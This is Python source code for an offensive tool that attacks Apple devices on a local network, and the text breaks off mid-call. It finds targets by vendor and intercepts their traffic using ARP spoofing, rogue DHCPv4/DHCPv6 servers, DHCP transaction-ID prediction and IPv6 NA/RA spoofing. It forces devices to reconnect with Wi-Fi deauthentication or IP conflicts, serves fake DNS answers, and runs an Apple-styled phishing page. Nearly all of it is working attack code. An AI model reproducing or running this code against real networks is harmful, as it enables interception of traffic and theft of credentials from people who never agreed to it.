class Utils: # region Variables _base: Base = Base() # endregion # region Get free IPv4 addresses on interface def get_free_ipv4_addresses(self, network_interface: str, first_ipv4_address: Union[None, str] = None, last_ipv4_address: Union[None, str] = None, quiet: bool = False) -> List[str]: your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address' ]) arp_scan: ArpScan = ArpScan(network_interface=network_interface) free_ipv4_addresses: List[str] = list() if first_ipv4_address is not None: current_ipv4_address: str = self.check_ipv4_address( network_interface=network_interface, ipv4_address=first_ipv4_address, is_local_ipv4_address=True, parameter_name='first IPv4 address') else: current_ipv4_address: str = your['first-ipv4-address'] if last_ipv4_address is not None: last_ipv4_address: str = self.check_ipv4_address( network_interface=network_interface, ipv4_address=last_ipv4_address, is_local_ipv4_address=True, parameter_name='last IPv4 address') else: last_ipv4_address: str = your['last-ipv4-address'] while self._base.ip_address_compare(current_ipv4_address, last_ipv4_address, 'le'): free_ipv4_addresses.append(current_ipv4_address) current_ipv4_address = self._base.ip_address_increment( current_ipv4_address) if not quiet: self._base.print_info('Find free IPv4 addresses on interface: ', your['network-interface']) alive_hosts = arp_scan.scan( timeout=5, retry=5, check_vendor=False, exclude_ip_addresses=[your['ipv4-address']], exit_on_failure=False, show_scan_percentage=False) for alive_host in alive_hosts: try: free_ipv4_addresses.remove(alive_host['ip-address']) except ValueError: pass return free_ipv4_addresses # endregion # region Set Target MAC- and IPv4-address def set_ipv4_target(self, network_interface: str, target_ipv4_address: Union[None, str] = None, target_mac_address: Union[None, str] = None, target_vendor: Union[None, str] = None, target_ipv4_address_required: bool = False, exclude_ipv4_addresses: List[str] = [], quiet: bool = False) -> Dict[str, str]: # region Variables target: Dict[str, str] = { 'mac-address': None, 'ipv4-address': None, 'vendor': None } arp_scan: ArpScan = ArpScan(network_interface=network_interface) # endregion # region Target IPv4 address is Set if target_ipv4_address is not None: target['ipv4-address'] = self.check_ipv4_address( network_interface=network_interface, ipv4_address=target_ipv4_address, parameter_name='target IPv4 address', is_local_ipv4_address=True) # endregion # region Target IPv4 address not Set else: assert not target_ipv4_address_required, 'Please set target IPv4 address!' if not quiet: self._base.print_info('Start ARP scan ...') results: List[Dict[str, str]] = arp_scan.scan( timeout=3, retry=3, target_ip_address=None, check_vendor=True, exclude_ip_addresses=exclude_ipv4_addresses, exit_on_failure=True, show_scan_percentage=not quiet) if target_mac_address is not None: target['mac-address'] = self.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') for result in results: if result['mac-address'] == target['mac-address']: target['ipv4-address'] = result['ip-address'] target['vendor'] = result['vendor'] break assert target['ipv4-address'] is not None, \ 'Could no found alive host with MAC address: ' + self._base.error_text(target['mac-address']) return target if target_vendor is not None: results_with_vendor: List[Dict[str, str]] = list() for result in results: if search(target_vendor, result['vendor'], IGNORECASE): results_with_vendor.append(result) results = results_with_vendor assert len(results) != 0, \ 'Could not found alive hosts on interface: ' + self._base.error_text(network_interface) if len(results) == 1: target['ipv4-address'] = results[0]['ip-address'] target['mac-address'] = results[0]['mac-address'] target['vendor'] = results[0]['vendor'] return target else: if target_vendor is not None: self._base.print_success( 'Found ', str(len(results)), ' ' + target_vendor.capitalize() + ' devices on interface: ', network_interface) else: self._base.print_success('Found ', str(len(results)), ' alive hosts on interface: ', network_interface) hosts_pretty_table: PrettyTable = PrettyTable([ self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'IPv4 address' + self._base.cEND, self._base.cINFO + 'MAC address' + self._base.cEND, self._base.cINFO + 'Vendor' + self._base.cEND ]) device_index: int = 1 for device in results: hosts_pretty_table.add_row([ str(device_index), device['ip-address'], device['mac-address'], device['vendor'] ]) device_index += 1 print(hosts_pretty_table) device_index -= 1 print(self._base.c_info + 'Select target from range (1-' + str(device_index) + '): ', end='') current_device_index = input() if not current_device_index.isdigit(): self._base.print_error('Your input data: ' + str(current_device_index) + ' is not digit!') exit(1) if any([ int(current_device_index) < 1, int(current_device_index) > device_index ]): self._base.print_error( 'Your number is not within range (1-' + str(device_index) + ')') exit(1) current_device_index = int(current_device_index) - 1 device: Dict[str, str] = results[current_device_index] target['ipv4-address'] = device['ip-address'] target['mac-address'] = device['mac-address'] target['vendor'] = device['vendor'] self._base.print_info( 'Your choose target: ', target['ipv4-address'] + ' (' + target['mac-address'] + ')') return target # endregion # region Target MAC address not Set if target_mac_address is None: self._base.print_info( 'Find MAC address of device with IP address: ', target['ipv4-address'], ' ...') target['mac-address'] = arp_scan.get_mac_address( target_ip_address=target['ipv4-address'], exit_on_failure=True, show_scan_percentage=False) # endregion # region Target MAC address is Set else: target['mac-address'] = self.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Return target return target # endregion # endregion # region Set Target MAC- and IPv6-address def set_ipv6_target( self, network_interface: str, target_ipv6_address: Union[None, str] = None, target_mac_address: Union[None, str] = None, target_vendor: Union[None, str] = None, target_ipv6_address_is_local: bool = True, exclude_ipv6_addresses: List[str] = []) -> Dict[str, str]: # region Variables target: Dict[str, str] = { 'mac-address': None, 'ipv6-address': None, 'vendor': None } icmpv6_scan: ICMPv6Scan = ICMPv6Scan( network_interface=network_interface) # endregion # region Target MAC address is Set if target_mac_address is not None: target['mac-address'] = self.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Target IPv6 address not Set if target_ipv6_address is None: self._base.print_info('Search IPv6 alive hosts ....') ipv6_devices = icmpv6_scan.scan( timeout=5, retry=5, target_mac_address=target['mac-address'], check_vendor=True, exit_on_failure=False, exclude_ipv6_addresses=exclude_ipv6_addresses) if target_vendor is not None: ipv6_devices_with_vendor: List[Dict[str, str]] = list() for result in ipv6_devices: if search(target_vendor, result['vendor'], IGNORECASE): ipv6_devices_with_vendor.append(result) ipv6_devices = ipv6_devices_with_vendor if target_vendor is not None: assert len(ipv6_devices) != 0, \ 'Could not found alive ' + str(target_vendor) + ' IPv6 devices on interface: ' + \ self._base.error_text(network_interface) else: assert len(ipv6_devices) != 0, \ 'Could not found alive IPv6 devices on interface: ' + \ self._base.error_text(network_interface) # Target IPv6 and MAC address is not set if target['mac-address'] is None: if target_vendor is not None: self._base.print_success( 'Found ', str(len(ipv6_devices)), ' ' + target_vendor.capitalize() + ' devices on interface: ', network_interface) else: self._base.print_success('Found ', str(len(ipv6_devices)), ' alive hosts on interface: ', network_interface) hosts_pretty_table: PrettyTable = PrettyTable([ self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'IPv6 address' + self._base.cEND, self._base.cINFO + 'MAC address' + self._base.cEND, self._base.cINFO + 'Vendor' + self._base.cEND ]) device_index: int = 1 for device in ipv6_devices: hosts_pretty_table.add_row([ str(device_index), device['ip-address'], device['mac-address'], device['vendor'] ]) device_index += 1 print(hosts_pretty_table) device_index -= 1 print(self._base.c_info + 'Select target from range (1-' + str(device_index) + '): ', end='') current_device_index = input() if not current_device_index.isdigit(): self._base.print_error('Your input data: ' + str(current_device_index) + ' is not digit!') exit(1) if any([ int(current_device_index) < 1, int(current_device_index) > device_index ]): self._base.print_error( 'Your number is not within range (1-' + str(device_index) + ')') exit(1) current_device_index = int(current_device_index) - 1 device: Dict[str, str] = ipv6_devices[current_device_index] target['ipv6-address'] = device['ip-address'] target['mac-address'] = device['mac-address'] target['vendor'] = device['vendor'] self._base.print_info( 'Your choose target: ', target['ipv6-address'] + ' (' + target['mac-address'] + ')') return target # Target MAC address is set but target IPv6 is not set else: for ipv6_device in ipv6_devices: if ipv6_device['mac-address'] == target['mac-address']: target['ipv6-address'] = ipv6_device['ip-address'] assert target['ipv6-address'] is not None, \ 'Could not found IPv6 device with MAC address: ' + \ self._base.error_text(target['mac-address']) return target # endregion # region Target IPv6 address is Set else: assert target['mac-address'] is not None, \ 'Target IPv6 address is set: ' + \ self._base.info_text(target_ipv6_address) + \ '; Please set target MAC address' target['ipv6-address'] = self.check_ipv6_address( network_interface=network_interface, ipv6_address=target_ipv6_address, is_local_ipv6_address=target_ipv6_address_is_local, parameter_name='target IPv6 address') # endregion # region Return target return target # endregion # endregion # region Check IPv4 address in local network def check_ipv4_address(self, network_interface: str, ipv4_address: str, is_local_ipv4_address: bool = True, parameter_name: str = 'target IPv4 address') -> str: network_interface_settings = \ self._base.get_interface_settings(interface_name=network_interface, required_parameters=['first-ipv4-address', 'last-ipv4-address']) example_ipv4_address: str = '8.8.8.8' if is_local_ipv4_address: example_ipv4_address = self._base.get_random_ip_on_interface( interface_name=network_interface) assert self._base.ip_address_validation(ipv4_address), \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv4_address) + \ '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv4_address) if is_local_ipv4_address: assert self._base.ip_address_in_range(ipv4_address, network_interface_settings['first-ipv4-address'], network_interface_settings['last-ipv4-address']), \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv4_address) + \ '; ' + parameter_name.capitalize() + ' must be in range: ' + \ self._base.info_text(network_interface_settings['first-ipv4-address'] + ' - ' + network_interface_settings['last-ipv4-address']) + \ '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv4_address) return ipv4_address # endregion # region Check IPv6 address def check_ipv6_address(self, network_interface: str, ipv6_address: str, is_local_ipv6_address: bool = True, parameter_name: str = 'target IPv6 address', check_your_ipv6_address: bool = True) -> str: example_ipv6_address: str = '2001:4860:4860::8888' if is_local_ipv6_address: example_ipv6_address = 'fe80::1234:5678:90ab:cdef' network_interface_settings = \ self._base.get_interface_settings(interface_name=network_interface, required_parameters=['mac-address']) if network_interface_settings['ipv6-link-address'] is None: network_interface_settings['ipv6-link-address'] = \ self._base.make_ipv6_link_address(mac_address=network_interface_settings['mac-address']) if check_your_ipv6_address: assert ipv6_address != network_interface_settings['ipv6-link-address'], \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \ '; ' + parameter_name.capitalize() + ' is your link local IPv6 address!' assert ipv6_address not in network_interface_settings['ipv6-global-addresses'], \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \ '; ' + parameter_name.capitalize() + ' is your global IPv6 address!' assert self._base.ipv6_address_validation(ipv6_address), \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \ '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv6_address) if is_local_ipv6_address: assert str(ipv6_address).startswith('fe80::'), \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(ipv6_address) + \ '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text(example_ipv6_address) return ipv6_address # endregion # region Check MAC address def check_mac_address(self, mac_address: str, parameter_name: str = 'target MAC address') -> str: assert self._base.mac_address_validation(mac_address), \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(mac_address) + \ '; example ' + parameter_name.capitalize() + ': ' + self._base.info_text('12:34:56:78:90:ab') return str(mac_address).lower() # endregion # region Check value in range def check_value_in_range(self, value: int, first_value: int = 1, last_value: int = 65535, parameter_name: str = 'destination port') -> int: assert first_value <= value <= last_value, \ 'Bad ' + parameter_name.capitalize() + ': ' + self._base.error_text(str(value)) + \ ' ' + parameter_name.capitalize() + ' must be in range: ' + \ self._base.info_text(str(first_value) + ' - ' + str(last_value)) return value
class AppleMitm: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _wifi: Union[None, WiFi] = None _icmpv6_router_search: Union[None, ICMPv6RouterSearch] = None _mitm_techniques: List[str] = ['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID', 'Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)'] _mitm_technique: int = 1 _disconnect_techniques: List[str] = ['IPv4 network conflict detection', 'Send WiFi deauthentication packets', 'Do not disconnect device after MiTM'] _disconnect_technique: int = 1 _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv4-address': None} _gateway: Dict[str, Union[None, str]] = {'ipv4-address': None, 'ipv6-address': None} _dns_server: Dict[str, Union[None, str]] = {'ipv4-address': None, 'ipv6-address': None} _target: Dict[str, Union[None, str]] = {'mac-address': None, 'ipv4-address': None, 'new-ipv4-address': None, 'ipv6-address': None, 'new-ipv6-address': None} _ipv6_network_prefix: str = 'fde4:8dba:82e1:ffff::/64' _mtu: int = 1500 _ipv4_mitm: bool = False _ipv6_mitm: bool = False _deauth_packets: int = 25 _deauth_stop: bool = False # endregion # region Start MiTM def start(self, mitm_technique: Union[None, int] = None, disconnect_technique: Union[None, int] = None, mitm_interface: Union[None, str] = None, deauth_interface: Union[None, str] = None, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_new_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, target_new_ipv6_address: Union[None, str] = None, gateway_ipv4_address: Union[None, str] = None, gateway_ipv6_address: Union[None, str] = None, dns_ipv4_address: Union[None, str] = None, dns_ipv6_address: Union[None, str] = None, ipv6_prefix: Union[None, str] = None, phishing_site: Union[None, str] = None): # region Variables thread_manager: ThreadManager = ThreadManager(10) mitm_network_interface: Union[None, str] = None deauth_network_interface: Union[None, str] = None disconnect: bool = False deauth: bool = False # endregion # region Kill subprocess if self._base.get_platform().startswith('Linux'): try: self._base.print_info('Stop services: ', 'dnsmasq, network-manager') run(['service dnsmasq stop >/dev/null 2>&1'], shell=True) run(['service network-manager stop >/dev/null 2>&1'], shell=True) except OSError: self._base.print_error('Something went wrong while trying to stop services:', 'dnsmasq and network-manager') exit(1) # Kill the processes that listens on 53, 68, 547 UDP port, 80 and 443 TCP ports self._base.print_info('Stop processes that listens on UDP ports: ', '53, 68, 547') self._base.kill_processes_by_listen_port(53, 'udp') self._base.kill_processes_by_listen_port(68, 'udp') self._base.kill_processes_by_listen_port(547, 'udp') self._base.print_info('Stop processes that listens on TCP ports: ', '80, 443') self._base.kill_processes_by_listen_port(80, 'tcp') self._base.kill_processes_by_listen_port(443, 'tcp') # endregion # region MiTM technique selection if self._base.get_platform().startswith('Windows') or self._base.get_platform().startswith('Darwin'): self._mitm_techniques.remove('Second DHCP ACK') self._disconnect_techniques.remove('Send WiFi deauthentication packets') if mitm_technique is None: self._base.print_info('MiTM technique list:') _technique_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'MiTM technique' + self._base.cEND]) for _technique_index in range(len(self._mitm_techniques)): _technique_pretty_table.add_row([str(_technique_index + 1), self._mitm_techniques[_technique_index]]) print(_technique_pretty_table) print(self._base.c_info + 'Set MiTM technique index from range (1 - ' + str(len(self._mitm_techniques)) + '): ', end='') _test_technique = input() assert _test_technique.isdigit(), \ 'MiTM technique index is not digit!' else: _test_technique = mitm_technique self._mitm_technique = \ self._utils.check_value_in_range(value=int(_test_technique), first_value=1, last_value=len(self._mitm_techniques), parameter_name='MiTM technique') - 1 # endregion # region Disconnect technique selection if self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK': disconnect = True deauth = True else: if disconnect_technique is None: self._base.print_info('Disconnect technique list:') _disconnect_pretty_table = PrettyTable([self._base.cINFO + 'Index' + self._base.cEND, self._base.cINFO + 'Disconnect technique' + self._base.cEND]) for _technique_index in range(len(self._disconnect_techniques)): _disconnect_pretty_table.add_row([str(_technique_index + 1), self._disconnect_techniques[_technique_index]]) print(_disconnect_pretty_table) print(self._base.c_info + 'Set Disconnect technique index from range (1 - ' + str(len(self._disconnect_techniques)) + '): ', end='') _test_technique = input() assert _test_technique.isdigit(), \ 'Disconnect technique index is not digit!' else: _test_technique = disconnect_technique self._disconnect_technique = \ self._utils.check_value_in_range(value=int(_test_technique), first_value=1, last_value=len(self._disconnect_techniques), parameter_name='Disconnect technique') - 1 # Do not disconnect device after MiTM if self._disconnect_techniques[self._disconnect_technique] == 'Do not disconnect device after MiTM': disconnect = False deauth = False # Use WiFi deauthentication disconnect technique elif self._disconnect_techniques[self._disconnect_technique] == 'Send WiFi deauthentication packets': disconnect = True deauth = True # Use IPv4 network conflict disconnect technique else: disconnect = True deauth = False # endregion # region Get MiTM network interface mitm_network_interface = \ self._base.network_interface_selection(interface_name=mitm_interface, message='Please select a network interface for ' 'MiTM Apple devices from table: ') self._your = self._base.get_interface_settings(interface_name=mitm_network_interface, required_parameters=['mac-address', 'ipv4-address']) if self._your['ipv6-link-address'] is None: self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac_address']) # endregion # region Get Deauth network interface if deauth: assert mitm_network_interface in self._base.list_of_wireless_network_interfaces(), \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + ' is not Wireless!' assert len(self._base.list_of_wireless_network_interfaces()) <= 1, \ 'You have only one wireless interface: ' + self._base.info_text(mitm_network_interface) + \ '; to send WiFi deauth packets you need a second wireless interface!' assert self._your['essid'] is not None \ and self._your['bssid'] is not None \ and self._your['channel'] is not None, \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + ' does not connect to AP!' # region Set network interface for send wifi deauth packets deauth_network_interface = \ self._base.network_interface_selection(interface_name=deauth_interface, exclude_interface=mitm_network_interface, only_wireless=True, message='Please select a network interface for ' 'send WiFi deauth packets from table: ') self._wifi = WiFi(wireless_interface=deauth_network_interface, wifi_channel=self._your['channel'], debug=False, start_scan=False) # endregion # region Check IPv4 or IPv6 mitm if self._mitm_techniques[self._mitm_technique] in \ ['ARP Spoofing', 'Second DHCP ACK', 'Predict next DHCP transaction ID']: self._ipv4_mitm = True elif self._mitm_techniques[self._mitm_technique] in \ ['Rogue SLAAC/DHCPv6 server', 'NA Spoofing (IPv6)', 'RA Spoofing (IPv6)']: self._ipv6_mitm = True # endregion # region Set IPv4 DNS server if self._ipv4_mitm: if dns_ipv4_address is not None: self._dns_server['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=dns_ipv4_address, is_local_ipv4_address=False, parameter_name='DNS server IPv4 address') else: self._dns_server['ipv4-address'] = self._your['ipv4-address'] # endregion # region Set IPv6 DNS server if self._ipv6_mitm: if dns_ipv6_address is not None: self._dns_server['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=gateway_ipv6_address, is_local_ipv6_address=False, parameter_name='gateway IPv6 address', check_your_ipv6_address=False) else: self._dns_server['ipv6-address'] = self._your['ipv6-link-address'] # endregion # region Set IPv4 gateway if self._ipv4_mitm: if gateway_ipv4_address is not None: self._gateway['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=gateway_ipv4_address, is_local_ipv4_address=True, parameter_name='gateway IPv4 address') else: if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing': assert self._your['ipv4-gateway'] is not None, \ 'Network interface: ' + self._base.error_text(mitm_network_interface) + \ ' does not have IPv4 gateway!' self._gateway['ipv4-address'] = self._your['ipv4-gateway'] else: self._gateway['ipv4-address'] = self._your['ipv4-address'] # endregion # region Set IPv6 gateway if self._ipv6_mitm: if gateway_ipv6_address is not None: self._gateway['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=gateway_ipv6_address, is_local_ipv6_address=True, parameter_name='gateway IPv6 address', check_your_ipv6_address=False) else: if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': self._gateway['ipv6-address'] = self._your['ipv6-link-address'] else: self._base.print_info('Search IPv6 Gateway and DNS server on interface: ', mitm_network_interface) self._icmpv6_router_search: ICMPv6RouterSearch = \ ICMPv6RouterSearch(network_interface=mitm_network_interface) _router_advertisement_data = \ self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=True) assert _router_advertisement_data is not None, \ 'Can not find IPv6 gateway in local network on interface: ' + \ self._base.error_text(mitm_network_interface) self._gateway['ipv6-address'] = _router_advertisement_data['router_ipv6_address'] if 'dns-server' in _router_advertisement_data.keys(): self._dns_server['ipv6-address'] = _router_advertisement_data['dns-server'] if 'prefix' in _router_advertisement_data.keys(): self._ipv6_network_prefix = _router_advertisement_data['prefix'] elif ipv6_prefix is not None: self._ipv6_network_prefix = ipv6_prefix if 'mtu' in _router_advertisement_data.keys(): self._mtu = int(_router_advertisement_data['mtu']) # endregion # region Set target IPv4 address and new IPv4 address if self._ipv4_mitm: self._target = \ self._utils.set_ipv4_target(network_interface=mitm_network_interface, target_ipv4_address=target_ipv4_address, target_mac_address=target_mac_address, target_vendor='apple', target_ipv4_address_required=False, exclude_ipv4_addresses=[self._your['ipv4-gateway']]) # region Set target new IPv4 address if self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID': if target_new_ipv4_address is not None: self._target['new-ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=mitm_network_interface, ipv4_address=target_new_ipv4_address, is_local_ipv4_address=True, parameter_name='target new IPv4 address') else: _free_ipv4_addresses = \ self._utils.get_free_ipv4_addresses(network_interface=mitm_network_interface) self._target['new-ipv4-address'] = choice(_free_ipv4_addresses) # endregion # endregion # region Set target IPv6 address and new IPv6 address if self._ipv6_mitm: self._target = \ self._utils.set_ipv6_target(network_interface=mitm_network_interface, target_ipv6_address=target_ipv6_address, target_mac_address=target_mac_address, target_vendor='apple', target_ipv6_address_is_local=True, exclude_ipv6_addresses=[self._your['ipv6-gateway']]) # region Get target IPv4 address try: ipv4_target: Dict[str, str] = \ self._utils.set_ipv4_target(network_interface=mitm_network_interface, target_ipv4_address=None, target_mac_address=self._target['mac-address'], quiet=True) self._target['ipv4-address'] = ipv4_target['ipv4-address'] except AssertionError: pass # endregion # region Set target new IPv6 address if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': if target_new_ipv6_address is not None: self._target['new-ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=mitm_network_interface, ipv6_address=target_new_ipv4_address, is_local_ipv6_address=False, parameter_name='target new global IPv6 address', check_your_ipv6_address=True) else: self._target['new-ipv6-address'] = \ self._ipv6_network_prefix.split('/')[0] + format(randint(1, 65535), 'x') # endregion # endregion # region General output self._base.print_info('MiTM technique: ', self._mitm_techniques[self._mitm_technique]) self._base.print_info('Disconnect technique: ', self._disconnect_techniques[self._disconnect_technique]) self._base.print_info('Network interface: ', mitm_network_interface) self._base.print_info('Your MAC address: ', self._your['mac-address']) # region IPv4 MiTM if self._ipv4_mitm: self._base.print_info('Your IPv4 address: ', self._your['ipv4-address']) self._base.print_info('Gateway IPv4 address: ', self._gateway['ipv4-address']) if self._mitm_techniques[self._mitm_technique] != 'ARP Spoofing': self._base.print_info('DNS server IPv4 address: ', self._dns_server['ipv4-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if self._target['ipv4-address'] is not None: self._base.print_info('Target IPv4 address: ', self._target['ipv4-address']) if 'new-ipv4-address' in self._target.keys(): if self._target['new-ipv4-address'] is not None: self._base.print_info('Target new IPv4 address: ', self._target['new-ipv4-address']) # endregion # region IPv6 MiTM if self._ipv6_mitm: self._base.print_info('Your IPv6 local address: ', self._your['ipv6-link-address']) self._base.print_info('Prefix: ', self._ipv6_network_prefix) self._base.print_info('Gateway IPv6 address: ', self._gateway['ipv6-address']) self._base.print_info('DNS server IPv6 address: ', self._dns_server['ipv6-address']) if self._target['mac-address'] is not None: self._base.print_info('Target MAC address: ', self._target['mac-address']) if 'ipv4-address' in self._target.keys(): if self._target['ipv4-address'] is not None: self._base.print_info('Target IPv4 address: ', self._target['ipv4-address']) if self._target['ipv6-address'] is not None: self._base.print_info('Target IPv6 address: ', self._target['ipv6-address']) if 'new-ipv6-address' in self._target.keys(): if self._target['new-ipv6-address'] is not None: self._base.print_info('Target new global IPv6 address: ', self._target['new-ipv6-address']) # endregion # region WiFi info if deauth: self._base.print_info('Interface ', mitm_network_interface, ' connected to: ', self._your['essid'] + ' (' + self._your['bssid'] + ')') self._base.print_info('Interface ', mitm_network_interface, ' channel: ', self._your['channel']) self._base.print_info('Deauth network interface: ', deauth_network_interface) # endregion # endregion # region Start DNS server if self._dns_server['ipv4-address'] == self._your['ipv4-address'] or \ self._dns_server['ipv6-address'] == self._your['ipv6-link-address']: self._base.print_info('Start DNS server ...') thread_manager.add_task(self._start_dns_server) # endregion # region Disconnect device if disconnect: thread_manager.add_task(self._disconnect_device, deauth) # endregion # region Start IPv4 MiTM if self._ipv4_mitm: # region 1. ARP spoofing technique if self._mitm_techniques[self._mitm_technique] == 'ARP Spoofing': thread_manager.add_task(self._arp_spoof) # endregion # region 2. Second DHCP ACK technique elif self._mitm_techniques[self._mitm_technique] == 'Second DHCP ACK': thread_manager.add_task(self._dhcpv4_server) # endregion # region 3. Predict next DHCP transaction ID elif self._mitm_techniques[self._mitm_technique] == 'Predict next DHCP transaction ID': thread_manager.add_task(self._apple_dhcpv4_server) # endregion # endregion # region Start IPv6 MiTM if self._ipv6_mitm: # region 4. Rogue SLAAC/DHCPv6 server if self._mitm_techniques[self._mitm_technique] == 'Rogue SLAAC/DHCPv6 server': thread_manager.add_task(self._dhcpv6_server) # endregion # region 5. NA Spoofing (IPv6) elif self._mitm_techniques[self._mitm_technique] == 'NA Spoofing (IPv6)': thread_manager.add_task(self._na_spoof) # endregion # region 6. RA Spoofing (IPv6) elif self._mitm_techniques[self._mitm_technique] == 'RA Spoofing (IPv6)': thread_manager.add_task(self._ra_spoof) # endregion # endregion # region Start Phishing server if phishing_site is None: phishing_site = 'apple' thread_manager.add_task(self._start_ipv4_phishing, phishing_site) thread_manager.add_task(self._start_ipv6_phishing, phishing_site) # endregion # region Wait all threads thread_manager.wait_for_completion() # endregion # endregion # region Disconnect device def _disconnect_device(self, deauth: bool = False): if not deauth: # Start Network Conflict Creator (ncc) ncc: NetworkConflictCreator = NetworkConflictCreator(network_interface=self._your['network-interface']) try: ncc.start(target_mac_address=self._target['mac-address'], target_ip_address=self._target['ipv4-address'], exit_on_success=True) except KeyError: pass else: # Start WiFi deauth packets sender self._deauth_stop_sniffer() number_of_deauth_packets: int = self._deauth_packets while self._deauth_stop: self._wifi.send_deauth(bssid=self._your['bssid'], client=self._target['mac-address'], number_of_deauth_packets=number_of_deauth_packets) number_of_deauth_packets += 25 sleep(30) # endregion # region ARP spoofing def _arp_spoof(self): sleep(3) arp_spoof: ArpSpoof = ArpSpoof(network_interface=self._your['network-interface']) arp_spoof.start(gateway_ipv4_address=self._gateway['ipv4-address'], target_ipv4_address=self._target['ipv4-address'], target_mac_address=self._target['mac-address'], quiet=False) # endregion # region NA spoofing def _na_spoof(self): # sleep(3) ipv6_spoof: IPv6Spoof = IPv6Spoof(network_interface=self._your['network-interface']) ipv6_spoof.start(technique=2, target_ipv6_address=self._target['ipv6-address'], target_mac_address=self._target['mac-address'], gateway_ipv6_address=self._gateway['ipv6-address'], dns_ipv6_address=self._dns_server['ipv6-address'], ipv6_prefix=self._ipv6_network_prefix, quiet=False) # endregion # region RA spoofing def _ra_spoof(self): # sleep(3) ipv6_spoof: IPv6Spoof = IPv6Spoof(network_interface=self._your['network-interface']) ipv6_spoof.start(technique=1, target_ipv6_address=self._target['ipv6-address'], target_mac_address=self._target['mac-address'], gateway_ipv6_address=self._gateway['ipv6-address'], dns_ipv6_address=self._dns_server['ipv6-address'], ipv6_prefix=self._ipv6_network_prefix, quiet=False) # endregion # region DHCPv4 server def _dhcpv4_server(self): sleep(3) dhcpv4_server: DHCPv4Server = DHCPv4Server(network_interface=self._your['network-interface']) dhcpv4_server.start(target_mac_address=self._target['mac-address'], target_ipv4_address=self._target['ipv4-address'], dns_server_ipv4_address=self._dns_server['ipv4-address'], router_ipv4_address=self._gateway['ipv4-address'], apple=True, quiet=False, exit_on_success=True) # endregion # region DHCPv4 server for Apple devices def _apple_dhcpv4_server(self): sleep(3) apple_dhcp_server: AppleDHCPServer = AppleDHCPServer(network_interface=self._your['network-interface']) apple_dhcp_server.start(target_ip_address=self._target['new-ipv4-address'], target_mac_address=self._target['mac-address'], quiet=False) # endregion # region DHCPv6 server def _dhcpv6_server(self): sleep(5) dhcpv6_server: DHCPv6Server = DHCPv6Server(network_interface=self._your['network-interface']) dhcpv6_server.start(target_ipv6_address=self._target['new-ipv6-address'], target_mac_address=self._target['mac-address'], dns_server_ipv6_address=self._dns_server['ipv6-address'], ipv6_prefix=self._ipv6_network_prefix, exit_on_success=True, quiet=False) # endregion # region DNS server def _start_dns_server(self): dns_server: DnsServer = DnsServer(network_interface=self._your['network-interface']) dns_server.start(fake_answers=True, success_domains=['captive.apple.com', 'authentication.net'], listen_ipv6=True) # endregion # region IPv4 Phishing server @staticmethod def _start_ipv4_phishing(phishing_site: str = 'apple'): phishing_server: PhishingServer = PhishingServer() phishing_server.start(address='0.0.0.0', port=80, site=phishing_site, redirect='authentication.net', quiet=False) # endregion # region IPv6 Phishing server @staticmethod def _start_ipv6_phishing(phishing_site: str = 'apple'): phishing_server: PhishingServer = PhishingServer() phishing_server.start(address='::', port=80, site=phishing_site, redirect='authentication.net', quiet=False) # endregion # region Requests sniffer PRN function def _deauth_stop_prn(self, request: Dict): if 'DHCPv4' in request.keys() or 'ICMPv6' in request.keys(): self._deauth_stop = True # endregion # region Requests sniffer function def _deauth_stop_sniffer(self): # region Set network filter network_filters = {'Ethernet': {'source': self._target['mac-address']}} if self._mitm_technique == 2: network_filters = { 'Ethernet': { 'source': self._target['mac-address'], 'destination': 'ff:ff:ff:ff:ff:ff' }, 'IPv4': { 'source-ip': '0.0.0.0', 'destination-ip': '255.255.255.255' }, 'UDP': { 'source-port': 68, 'destination-port': 67 } } # endregion # region Start sniffer sniff = RawSniff() sniff.start(protocols=['IPv4', 'IPv6', 'ICMPv6', 'UDP', 